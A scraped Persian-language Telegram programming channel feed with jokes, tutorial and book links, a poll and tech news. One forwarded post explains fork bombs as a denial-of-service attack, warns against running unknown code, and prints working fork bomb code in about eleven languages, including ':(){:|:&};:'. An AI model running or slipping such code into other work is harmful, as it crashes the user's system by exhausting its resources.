Fara Code | برنامه نویسی
3.38K subscribers
529 photos
237 videos
67 files
247 links
جایی که صفر و یک‌ها خوش می‌گذره!

📘 books & codes
🧠 tips & tricks
🎉 fun for devs

👥 group: @FaraCodeGp
🧑‍💻 Owner: @samannmz
Download Telegram
گوگل لنز برای کاربران ایرانی رفع تحریم میشود. ( منبع )
@Learrning_Python
👍7
زندگی برنامه نویسان🙂👨‍💻


@Learrning_Python
👍12🤝2😁1
Media is too big
VIEW IN TELEGRAM
🔅 آموزش جنگو
قسمت: 32

بستون ۳۲ - به روز رسانی خبرها در هربار ورود به صفحه

🔻آموزش جنگو قسمت اول

#جنگو #django

🆔@Learrning_Python
Forwarded from « FaraTech »
⚠️هشدار : قبل از کامل خوندن پست، هیچکدوم از کد هارو اجرا نکنید ⚠️


فورک بمب (forkbomb) چیه؟

فورک بمب یه نوع حمله محرومیت از سرویس (DoS) هست که در اون یه فرآیند به طور مداوم اقدام به کپی‌برداری از خودش می‌کنه و به این ترتیب منابع سیستم رو مصرف میکنه، که باعث آهسته شدن و در نهایت از کار افتادن سیستم می‌شه.

نحوه کارکرد فورک بمب‌ها هم به این صورت هست که همزمان هم پردازنده رو اشغال می‌کنن و هم جدول فرایندهای سیستم‌عامل رو اشباع می‌کنن. میشه با ایجاد کردن یه فرآیند جدید تو یه حلقه بی‌نهایت به آسونی یه فورک بمب ساده ساخت.

مثلا یه نمونه از کد فورک بمب تو شل‌اسکریپت به صورت زیر هست:

:(){:|:&};:

این کد یه تابع رو تعریف می‌کنه که خودش رو به صورت بازگشتی فراخوانی می‌کنه. هر بار که این تابع فراخوانی میشه، یه فرآیند جدید ایجاد می‌شه. بنابراین، با اجرای این کد، یه فرآیند جدید به طور مداوم در حال ایجاد شدن هست و این باعث می‌شه که سیستم از کار بیفته.
این یکی از دلایلی هست که میگن هر کدی که تو اینترنت پیدا کردین تا درکش نکردین اجرا نکنین.

خب، مثال هایی از فورک بمب تو زبان‌های مختلف میزارم براتون :

Bash Script :

#!/bin/bash
./$0|./$0&


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
Batch (windows) :

%0|%0

⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
C :

#include <stdio.h>
#include <sys/types.h>

int main()
{
while(1)
fork();
return 0;
}


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
Dart :

import'dart:isolate';
class f{
static k(o){
f();
}
f(){
for(;;)
Isolate.spawn(k,0);
}
}
main(){
f();
}


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
C++ :

#include <cstdlib>

int main(int argc, char **argv)
{
while (1) system(argv[0]);
return 0;
}


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
Golang :

package main

func main() {
for {
go main()
}
}


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
JavaScript :

<html>
<body>
<script>
setInterval(function() {
var w = window.open();
w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}, 10);
</script>
</body>
</html>


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
Python :

import os
while 1:
os.fork()


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
Shell Script :

#!/bin/sh
:(){ :|: & };:


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
Rust :

#[allow(unconditional_recursion)]
fn main() {
std::thread::spawn(main);
main();
}


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
Code by @WilsonWeber
C# :

while (true)
{
Process.Start(Assembly.GetExecutingAssembly().Location);
}


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏

کافیه این کد هارو تو یه فایل ذخیره و اجرا کنین، تا ببین چجوری منابع سیستمتون مصرف می‌شه و سیستم کرش می‌کنه🙃
البته، فایل HTML رو اگه اجرا کنین احتمالا بعد چند ثانیه جلوش گرفته می‌شه و نمیزاره صفحات بیشتری باز کنه و موجب کرش بشه، حداقل تو فایرفاکس که اینطوریه.
لطفا اجرا نکنین، فقط خواستم بگم بدونین که چقدر کدهایی که نمیدونین چیکار می‌کنن، میتونن خطرناک باشن(هر چند این که یه کد سادست، ولی کد های خطرناک‌تری هم هست)

پ.ن : اگه اشتباهی تو کدها بود هم بگین تصحیح کنم، تشکر❤️


@ProDev_Channel
👍12👌21
استاد جادی یک ویدیو جالب در مورد زبان برنامه نویسی جدید موجو که خیلی سر و صدا کرده، گذاشته که حتما توصیه میکنم ببینید.

www.instagram.com/reel/Cwh-RwJv7FL/?igshid=MmU2YjMzNjRlOQ==


@Learrning_Python
@python_develops
👍5🔥1
[کتاب پایتونی🐍]
Python Notes for Professionals

فقط فهرست مطالب رو ببینید.

🔻دانلود کتاب در پست بعدی🔻

#book #python
#کتاب #معرفی

🐍▪️@Learrning_Python▪️🐍
👍3
PythonNotesForProfessionals.pdf
5.9 MB
دانلود کتاب Python Notes for  Professionals

دانلود کنید. کتاب با ارزشی هست.

#book #python
#کتاب


🐍@Learrning_Python
🆔@python_develops
1
Fara Code | برنامه نویسی
کدوم یکی از گزینه های زیر رو دوست دارید یاد بگیرید؟
با توجه به این نظرسنجی
اگه یک دوره از پایتون با سه محوریت الگوریتم و لایبرری های کاربردی پایتون و در نهایت سه فریمورک قدرتمند پایتون در وب بزاریم آیا شرکت میکنید؟
Anonymous Quiz
49%
صددرصد
30%
احتمالا
13%
نه
9%
هیچکدام(:
کسی که راه های خیلی سختی برای حل مسائل پیدا میکنه #برنامه_نویس خفن نیست❗️
ساده برنامه نویسی کنید لطفا.....

@Learrning_Python
👍17
This media is not supported in your browser
VIEW IN TELEGRAM
🔥81
🚨گفته میشه سیستم پوش نوتیفیکیشن سامانه 780 هک شده و پیامای زیادی به صورت نوتیفیکیشن ارسال شده


@Learrning_Python
👍11🤯3
واتساپ تو آپدیت بعدی بهمون لطف میکنه و امکان ارسال عکس و ویدیو با کیفیت اصلی رو فراهم میکنه.

@Learrning_Python
👍10😁1
برنامه نویسای قدیم و‌ جدید😂
تغییر بزرگی هست👌😁

#fun
#فان

@Learrning_Python
🤣20👍2😁1
این مثال اون پستی هست که گفتیم ساده برنامه نویسی کنید😅

#python

@Learrning_Python
@python_develops
👍12
عملگر های منطقی در زبان های مختلف📋


@Learrning_Python
@python_develops
👍11
برنامه نویس ها در اینستاگرام vs برنامه نویس ها در گیت هاب😂


@Learrning_Python
@python_develops
👍13😁5
فکت:
- چیکار میکنی؟
+ بک اند دولوپر هستم
- فارسی حرف بزن مگه خارجی ای انگلیسی میگی😐
+ باشه، توسعه دهنده صفحات جهان گستر از پشت هستم😊


@Learrning_Python
🤣27😁2🤯2